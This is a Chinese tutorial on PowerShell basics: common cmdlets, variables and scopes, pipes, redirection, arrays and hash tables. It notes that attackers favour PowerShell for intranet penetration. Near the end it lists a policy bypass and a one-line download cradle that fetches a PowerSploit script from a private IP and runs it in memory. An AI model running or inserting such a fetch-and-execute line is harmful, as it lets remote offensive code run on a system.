PowerShell,从名字可以知道,他首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样就是在里边敲命令(可执行文件)使用;
而Power就意味他是一个功能强大的shell,从面向用户而言,个人觉得其功能强大体现在以下几方面:
(1) 微软态度。微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。
(2) 兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。
(3) 对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。
(4) 统一的命令格式和自包含的文档。基于前3点我们即可以说PowerShell已可与Linux Bash等一较高下。
当然powershell很好但也有着其劣势:
(1)Linux和Windows系统本身定位的差异。Linux的免费稳定使其牢牢占据了服务器领域,Linux Shell命令是没有很多统一格式的因此工程师们要费很大的劲去学习,而当Linux占据工程师的大部分精力并塑造完他们的习惯后,工程师们也许并没有那么多精神和动力去学powershell。
(2)来自Windows GUI的竞争。Windows上命令能干的事GUI也都能干也许效率慢一些但普通用户可不想去黑漆漆的界面敲感觉不受控制的命令。
Linux占据了服务器工程师的日常,而Windows自身强大的GUI对普通用户有天然的亲和力,所以powershell能期望的目标用户是谁呢,Windows服务器运维工程师好像没见过专门设有这职位。、
Powershell中可实现cmd的所有功能,反之则不可以;因为powershell可以直接调用.Net及COM对象而实现许多功能,所以黑客更倾向于在Windows中使用Powershell,并且各种花式调用在内网渗透中。
接下来便是Powershell的基础应用~~~
Powershell常用命令
1、Get-Command :得到Powshell所有命令
2、Get-Process :获取所有迚程
3、Set-Alias : 给指定命令重命名 如:Set-Alias aaa Get-Command
4、Set-ExecutionPolicy remotesigned :设置powershell可直接执行脚本文件 一般脚本文件以.ps1
结尾 执行脚本文件直接输入文件地址即可执行 脚本文件中叧写命令即可
5、Get-Help get-* :查询以get开头的命令 Get-Help service Get-Help Get-Command 获取
Get-Command命令的基本用法
6、Get-Member: 获取对象属性 如: $var | Get-Memeber 访问$var属性 直接$var.ToString()
Powershell变量定义
规则:不需要定义或声明数据类型,在变量前加$,变量可以是数字、字符串、特殊字符;
变量赋值:$var=123 $var=‘aaaaa’
取变量值:$var
变量赋值方法:Set-Variable var 100
取值方法: Get-Variable var
清空值:Clear-Variable var
删除变量:Remove-Variable var
取多个变量如var1、 var2 、var3地值:
Get-Variable var*
获取当前时间:$date=Get-Date
当前时间加3天:$date.AddDays(3)
Powershell变量的作用域
Powershell支持四个作用域:全局、当前、私有和脚本
$global:全局变量,在所有的作用域中有效,如果你在脚本或者函数中设置了全局变量,即使脚本和函数都运行结束,这个变量也有效;
$script:脚本变量,只会在脚本内部有效,包括脚本中的函数,一旦脚本运行结束,这个变量就会被回收;
$private:私有变量,只会在当前作用域中有效,不会贯穿到其他作用域;
$local:默认变量,可以省略修饰符,在当前作用域有效,其他作用域只对他有只读权限;
Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充
powershell命令和参数不区分大小写
1.1管道 #把上一条命令的输出作为下一条命令的输入
注:通过ls获取当前目录的所有文件信息,然后通过sort-object 排序,默认升序
1.2重定向 #把命令的输出保存到文件中,‘>’为覆盖,’>>’追加
注:查看内容可以通过type或者get-content查看
2.Powershell 查看可以执行的cmd命令(cmd /c help )
3.1变量
在powershell中变量名均是以美元符”$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且powershell变量名大小写不敏感($a和$A 是同一个变量)
powershell一切皆对象,变量也是对象,通过$str(变量名) | get-member 查看变量所拥有的属性以及方法
查看正在使用的变量 ls variable:
3.2环境变量
Powershell把所有环境变量的记录保存在env: 虚拟驱动中,因此可以列出所有环境变量 。一旦查出环境变量的名字就可以使用$env:name 访问了。
注:通过查找所有环境变量可以得到计算机名,当前所属域的域名,用户名等等
通过$env:属性名访问
4.1数组
1.命令返回数组 #当我们把一个命令的执行结果保存到一个变量中,可能会认为变量存放的是纯文本。
但是,事实上Powershell会把文本按每一行作为元素存为数组
2.创建数组:
在Powershell中创建数组可以使用逗号,创建空数组使用@()
3.访问、添加数组: #添加数组使用"+="
4.2哈希表
1.创建哈希表
之前使用@()创建数组,现在使用@{}创建哈希表,用";"把每个值分隔开,使用哈希表的键访问对应的值
2.修改、增加、删除哈希表
5. 常用命令
get-help 查看帮助
get-command 查询命令
get-member 查看对象的成员信息
get-verb 获取所有动词
get-content 或者type 查看内容
$psversiontable 查看powershell版本
ls env: 查看所有环境变量
ls alias: 或者get-alias 查看所有的别名
get-executionpolicy 查看脚本执行策略
set-executionpolicy bypass 设置可以执行脚本
. ./test1.ps1 把test1.ps1加载到内存 注意两个点之间有一个空格
iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1') iex远程下载脚本执行
在字符串前面加"&",可以执行命令或者启动程序